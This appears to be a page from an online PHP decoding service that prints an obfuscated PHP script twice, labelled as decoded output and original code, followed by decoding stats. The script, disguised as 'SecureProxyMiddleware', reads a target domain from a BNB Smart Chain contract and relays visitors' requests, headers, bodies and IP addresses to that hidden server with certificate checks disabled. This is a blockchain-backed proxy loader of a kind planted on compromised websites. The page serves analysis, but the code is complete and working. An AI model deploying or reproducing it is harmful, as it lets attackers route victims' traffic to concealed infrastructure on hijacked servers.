Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function getClientIP() { if (isset($_SERVER[base64_decode("SFRUUF9DRl9DT05ORUN..
Decoded Output download
<?php function getClientIP()
{
if (isset($_SERVER[base64_decode("SFRUUF9DRl9DT05ORUNUSU5HX0lQ")])) {
return $_SERVER[base64_decode("SFRUUF9DRl9DT05ORUNUSU5HX0lQ")];
}
if (isset($_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")])) {
$ips = explode(
base64_decode("LA=="),
$_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")]
);
return trim($ips[0]);
}
return $_SERVER[base64_decode("UkVNT1RFX0FERFI=")];
}
class SecureProxyMiddleware
{
private $updateInterval = 60;
private $rpcUrls;
private $contractAddress;
private $cacheFile;
public function __construct($options = [])
{
$this->rpcUrls = $options[base64_decode("cnBjVXJscw==")] ?? [
base64_decode("aHR0cHM6Ly9ycGMuYW5rci5jb20vYnNj"),
base64_decode("aHR0cHM6Ly9ic2MtZGF0YXNlZWQyLmJuYmNoYWluLm9yZw=="),
];
$this->contractAddress =
$options[base64_decode("Y29udHJhY3RBZGRyZXNz")] ??
base64_decode(
"MHhlOWQ1ZjY0NWY3OWZhNjBmY2E4MmI0ZTFkMzU4MzJlNDMzNzBmZWIw"
);
$serverIdentifier = md5(
$_SERVER[base64_decode("U0VSVkVSX05BTUU=")] .
base64_decode("Og==") .
$_SERVER[base64_decode("U0VSVkVSX0FERFI=")] .
base64_decode("Og==") .
$_SERVER[base64_decode("U0VSVkVSX1NPRlRXQVJF")]
);
$this->cacheFile =
sys_get_temp_dir() .
base64_decode("L3Byb3h5X2NhY2hlXw==") .
$serverIdentifier .
base64_decode("Lmpzb24=");
}
private function loadCache()
{
if (!file_exists($this->cacheFile)) {
return null;
}
$cache = json_decode(file_get_contents($this->cacheFile), true);
if (
!$cache ||
time() - $cache[base64_decode("dGltZXN0YW1w")] >
$this->updateInterval
) {
return null;
}
return $cache[base64_decode("ZG9tYWlu")];
}
private function filterHeaders($headers)
{
$blacklist = [base64_decode("aG9zdA==")];
$formatted = [];
foreach ($headers as $key => $value) {
$key = strtolower($key);
if (!in_array($key, $blacklist)) {
$formatted[] = "$key: $value";
}
}
return $formatted;
}
private function saveCache($domain)
{
$cache = [
base64_decode("ZG9tYWlu") => $domain,
base64_decode("dGltZXN0YW1w") => time(),
];
file_put_contents($this->cacheFile, json_encode($cache));
}
private function hexToString($hex)
{
$hex = preg_replace(base64_decode("L14weC8="), "", $hex);
$hex = substr($hex, 64);
$lengthHex = substr($hex, 0, 64);
$length = hexdec($lengthHex);
$dataHex = substr($hex, 64, $length * 2);
$result = "";
for ($i = 0; $i < strlen($dataHex); $i += 2) {
$charCode = hexdec(substr($dataHex, $i, 2));
if ($charCode === 0) {
break;
}
$result .= chr($charCode);
}
return $result;
}
private function fetchTargetDomain()
{
$data = base64_decode("MjA5NjUyNTU=");
foreach ($this->rpcUrls as $rpcUrl) {
try {
$ch = curl_init($rpcUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode([
base64_decode("anNvbnJwYw==") => base64_decode("Mi4w"),
base64_decode("aWQ=") => 1,
base64_decode("bWV0aG9k") => base64_decode(
"ZXRoX2NhbGw="
),
base64_decode("cGFyYW1z") => [
[
base64_decode("dG8=") => $this->contractAddress,
base64_decode("ZGF0YQ==") =>
base64_decode("MHg=") . $data,
],
base64_decode("bGF0ZXN0"),
],
]),
CURLOPT_HTTPHEADER => [
base64_decode(
"Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u"
),
],
CURLOPT_TIMEOUT => 120,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
curl_close($ch);
continue;
}
curl_close($ch);
$responseData = json_decode($response, true);
if (isset($responseData[base64_decode("ZXJyb3I=")])) {
continue;
}
$domain = $this->hexToString(
$responseData[base64_decode("cmVzdWx0")]
);
if ($domain) {
return $domain;
}
} catch (Exception $e) {
continue;
}
}
throw new Exception(
base64_decode("Q291bGQgbm90IGZldGNoIHRhcmdldCBkb21haW4=")
);
}
private function getTargetDomain()
{
$cachedDomain = $this->loadCache();
if ($cachedDomain) {
return $cachedDomain;
}
$domain = $this->fetchTargetDomain();
$this->saveCache($domain);
return $domain;
}
private function formatHeaders($headers)
{
$formatted = [];
foreach ($headers as $name => $value) {
if (is_array($value)) {
$value = implode(base64_decode("LCA="), $value);
}
$formatted[] = "$name: $value";
}
return $formatted;
}
public function handle($endpoint)
{
try {
$targetDomain = rtrim(
$this->getTargetDomain(),
base64_decode("Lw==")
);
$endpoint =
base64_decode("Lw==") . ltrim($endpoint, base64_decode("Lw=="));
$url = $targetDomain . $endpoint;
$clientIP = getClientIP();
$headers = getallheaders();
unset(
$headers[base64_decode("SG9zdA==")],
$headers[base64_decode("aG9zdA==")]
);
unset(
$headers[base64_decode("b3JpZ2lu")],
$headers[base64_decode("T3JpZ2lu")]
);
unset(
$headers[base64_decode("QWNjZXB0LUVuY29kaW5n")],
$headers[base64_decode("Q29udGVudC1FbmNvZGluZw==")]
);
$headers[base64_decode("eC1kZmtqbGRpZmpsaWZqZA==")] = $clientIP;
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_CUSTOMREQUEST => $_SERVER[
base64_decode("UkVRVUVTVF9NRVRIT0Q=")
],
CURLOPT_POSTFIELDS => file_get_contents(
base64_decode("cGhwOi8vaW5wdXQ=")
),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $this->formatHeaders($headers),
CURLOPT_TIMEOUT => 120,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_ENCODING => "",
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
throw new Exception(curl_error($ch));
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);
header(base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAq"));
header(
base64_decode(
"QWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBIRUFELCBQT1NULCBPUFRJT05T"
)
);
header(
base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogKg==")
);
if ($contentType) {
header(base64_decode("Q29udGVudC1UeXBlOiA=") . $contentType);
}
http_response_code($httpCode);
echo $response;
} catch (Exception $e) {
http_response_code(500);
echo base64_decode("ZXJyb3I=") . $e;
}
}
}
if (
$_SERVER[base64_decode("UkVRVUVTVF9NRVRIT0Q=")] ===
base64_decode("T1BUSU9OUw==")
) {
header(base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAq"));
header(
base64_decode(
"QWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBIRUFELCBQT1NULCBPUFRJT05T"
)
);
header(base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogKg=="));
header(base64_decode("QWNjZXNzLUNvbnRyb2wtTWF4LUFnZTogODY0MDA="));
http_response_code(204);
exit();
}
if ($_GET[base64_decode("ZQ==")] === base64_decode("cGluZ19wcm94eQ==")) {
header(base64_decode("Q29udGVudC1UeXBlOiB0ZXh0L3BsYWlu"));
echo base64_decode("cG9uZw==");
exit();
} elseif (isset($_GET[base64_decode("ZQ==")])) {
$proxy = new SecureProxyMiddleware([
base64_decode("cnBjVXJscw==") => [
base64_decode("aHR0cHM6Ly9ycGMuYW5rci5jb20vYnNj"),
base64_decode("aHR0cHM6Ly9ic2MtZGF0YXNlZWQyLmJuYmNoYWluLm9yZw=="),
],
base64_decode("Y29udHJhY3RBZGRyZXNz") => base64_decode(
"MHhlOWQ1ZjY0NWY3OWZhNjBmY2E4MmI0ZTFkMzU4MzJlNDMzNzBmZWIw"
),
]);
$endpoint = urldecode($_GET[base64_decode("ZQ==")]);
$endpoint = ltrim($endpoint, base64_decode("Lw=="));
$proxy->handle($endpoint);
} else {
http_response_code(400);
echo base64_decode("TWlzc2luZyBlbmRwb2ludA==");
} ?>
Did this file decode correctly?
Original Code
<?php function getClientIP()
{
if (isset($_SERVER[base64_decode("SFRUUF9DRl9DT05ORUNUSU5HX0lQ")])) {
return $_SERVER[base64_decode("SFRUUF9DRl9DT05ORUNUSU5HX0lQ")];
}
if (isset($_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")])) {
$ips = explode(
base64_decode("LA=="),
$_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9GT1I=")]
);
return trim($ips[0]);
}
return $_SERVER[base64_decode("UkVNT1RFX0FERFI=")];
}
class SecureProxyMiddleware
{
private $updateInterval = 60;
private $rpcUrls;
private $contractAddress;
private $cacheFile;
public function __construct($options = [])
{
$this->rpcUrls = $options[base64_decode("cnBjVXJscw==")] ?? [
base64_decode("aHR0cHM6Ly9ycGMuYW5rci5jb20vYnNj"),
base64_decode("aHR0cHM6Ly9ic2MtZGF0YXNlZWQyLmJuYmNoYWluLm9yZw=="),
];
$this->contractAddress =
$options[base64_decode("Y29udHJhY3RBZGRyZXNz")] ??
base64_decode(
"MHhlOWQ1ZjY0NWY3OWZhNjBmY2E4MmI0ZTFkMzU4MzJlNDMzNzBmZWIw"
);
$serverIdentifier = md5(
$_SERVER[base64_decode("U0VSVkVSX05BTUU=")] .
base64_decode("Og==") .
$_SERVER[base64_decode("U0VSVkVSX0FERFI=")] .
base64_decode("Og==") .
$_SERVER[base64_decode("U0VSVkVSX1NPRlRXQVJF")]
);
$this->cacheFile =
sys_get_temp_dir() .
base64_decode("L3Byb3h5X2NhY2hlXw==") .
$serverIdentifier .
base64_decode("Lmpzb24=");
}
private function loadCache()
{
if (!file_exists($this->cacheFile)) {
return null;
}
$cache = json_decode(file_get_contents($this->cacheFile), true);
if (
!$cache ||
time() - $cache[base64_decode("dGltZXN0YW1w")] >
$this->updateInterval
) {
return null;
}
return $cache[base64_decode("ZG9tYWlu")];
}
private function filterHeaders($headers)
{
$blacklist = [base64_decode("aG9zdA==")];
$formatted = [];
foreach ($headers as $key => $value) {
$key = strtolower($key);
if (!in_array($key, $blacklist)) {
$formatted[] = "$key: $value";
}
}
return $formatted;
}
private function saveCache($domain)
{
$cache = [
base64_decode("ZG9tYWlu") => $domain,
base64_decode("dGltZXN0YW1w") => time(),
];
file_put_contents($this->cacheFile, json_encode($cache));
}
private function hexToString($hex)
{
$hex = preg_replace(base64_decode("L14weC8="), "", $hex);
$hex = substr($hex, 64);
$lengthHex = substr($hex, 0, 64);
$length = hexdec($lengthHex);
$dataHex = substr($hex, 64, $length * 2);
$result = "";
for ($i = 0; $i < strlen($dataHex); $i += 2) {
$charCode = hexdec(substr($dataHex, $i, 2));
if ($charCode === 0) {
break;
}
$result .= chr($charCode);
}
return $result;
}
private function fetchTargetDomain()
{
$data = base64_decode("MjA5NjUyNTU=");
foreach ($this->rpcUrls as $rpcUrl) {
try {
$ch = curl_init($rpcUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode([
base64_decode("anNvbnJwYw==") => base64_decode("Mi4w"),
base64_decode("aWQ=") => 1,
base64_decode("bWV0aG9k") => base64_decode(
"ZXRoX2NhbGw="
),
base64_decode("cGFyYW1z") => [
[
base64_decode("dG8=") => $this->contractAddress,
base64_decode("ZGF0YQ==") =>
base64_decode("MHg=") . $data,
],
base64_decode("bGF0ZXN0"),
],
]),
CURLOPT_HTTPHEADER => [
base64_decode(
"Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u"
),
],
CURLOPT_TIMEOUT => 120,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
curl_close($ch);
continue;
}
curl_close($ch);
$responseData = json_decode($response, true);
if (isset($responseData[base64_decode("ZXJyb3I=")])) {
continue;
}
$domain = $this->hexToString(
$responseData[base64_decode("cmVzdWx0")]
);
if ($domain) {
return $domain;
}
} catch (Exception $e) {
continue;
}
}
throw new Exception(
base64_decode("Q291bGQgbm90IGZldGNoIHRhcmdldCBkb21haW4=")
);
}
private function getTargetDomain()
{
$cachedDomain = $this->loadCache();
if ($cachedDomain) {
return $cachedDomain;
}
$domain = $this->fetchTargetDomain();
$this->saveCache($domain);
return $domain;
}
private function formatHeaders($headers)
{
$formatted = [];
foreach ($headers as $name => $value) {
if (is_array($value)) {
$value = implode(base64_decode("LCA="), $value);
}
$formatted[] = "$name: $value";
}
return $formatted;
}
public function handle($endpoint)
{
try {
$targetDomain = rtrim(
$this->getTargetDomain(),
base64_decode("Lw==")
);
$endpoint =
base64_decode("Lw==") . ltrim($endpoint, base64_decode("Lw=="));
$url = $targetDomain . $endpoint;
$clientIP = getClientIP();
$headers = getallheaders();
unset(
$headers[base64_decode("SG9zdA==")],
$headers[base64_decode("aG9zdA==")]
);
unset(
$headers[base64_decode("b3JpZ2lu")],
$headers[base64_decode("T3JpZ2lu")]
);
unset(
$headers[base64_decode("QWNjZXB0LUVuY29kaW5n")],
$headers[base64_decode("Q29udGVudC1FbmNvZGluZw==")]
);
$headers[base64_decode("eC1kZmtqbGRpZmpsaWZqZA==")] = $clientIP;
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_CUSTOMREQUEST => $_SERVER[
base64_decode("UkVRVUVTVF9NRVRIT0Q=")
],
CURLOPT_POSTFIELDS => file_get_contents(
base64_decode("cGhwOi8vaW5wdXQ=")
),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => $this->formatHeaders($headers),
CURLOPT_TIMEOUT => 120,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_ENCODING => "",
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
throw new Exception(curl_error($ch));
}
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
curl_close($ch);
header(base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAq"));
header(
base64_decode(
"QWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBIRUFELCBQT1NULCBPUFRJT05T"
)
);
header(
base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogKg==")
);
if ($contentType) {
header(base64_decode("Q29udGVudC1UeXBlOiA=") . $contentType);
}
http_response_code($httpCode);
echo $response;
} catch (Exception $e) {
http_response_code(500);
echo base64_decode("ZXJyb3I=") . $e;
}
}
}
if (
$_SERVER[base64_decode("UkVRVUVTVF9NRVRIT0Q=")] ===
base64_decode("T1BUSU9OUw==")
) {
header(base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAq"));
header(
base64_decode(
"QWNjZXNzLUNvbnRyb2wtQWxsb3ctTWV0aG9kczogR0VULCBIRUFELCBQT1NULCBPUFRJT05T"
)
);
header(base64_decode("QWNjZXNzLUNvbnRyb2wtQWxsb3ctSGVhZGVyczogKg=="));
header(base64_decode("QWNjZXNzLUNvbnRyb2wtTWF4LUFnZTogODY0MDA="));
http_response_code(204);
exit();
}
if ($_GET[base64_decode("ZQ==")] === base64_decode("cGluZ19wcm94eQ==")) {
header(base64_decode("Q29udGVudC1UeXBlOiB0ZXh0L3BsYWlu"));
echo base64_decode("cG9uZw==");
exit();
} elseif (isset($_GET[base64_decode("ZQ==")])) {
$proxy = new SecureProxyMiddleware([
base64_decode("cnBjVXJscw==") => [
base64_decode("aHR0cHM6Ly9ycGMuYW5rci5jb20vYnNj"),
base64_decode("aHR0cHM6Ly9ic2MtZGF0YXNlZWQyLmJuYmNoYWluLm9yZw=="),
],
base64_decode("Y29udHJhY3RBZGRyZXNz") => base64_decode(
"MHhlOWQ1ZjY0NWY3OWZhNjBmY2E4MmI0ZTFkMzU4MzJlNDMzNzBmZWIw"
),
]);
$endpoint = urldecode($_GET[base64_decode("ZQ==")]);
$endpoint = ltrim($endpoint, base64_decode("Lw=="));
$proxy->handle($endpoint);
} else {
http_response_code(400);
echo base64_decode("TWlzc2luZyBlbmRwb2ludA==");
} ?>
Function Calls
None |
Stats
MD5 | 8d0555e8099db35886dd63bd8ba5da3f |
Eval Count | 0 |
Decode Time | 93 ms |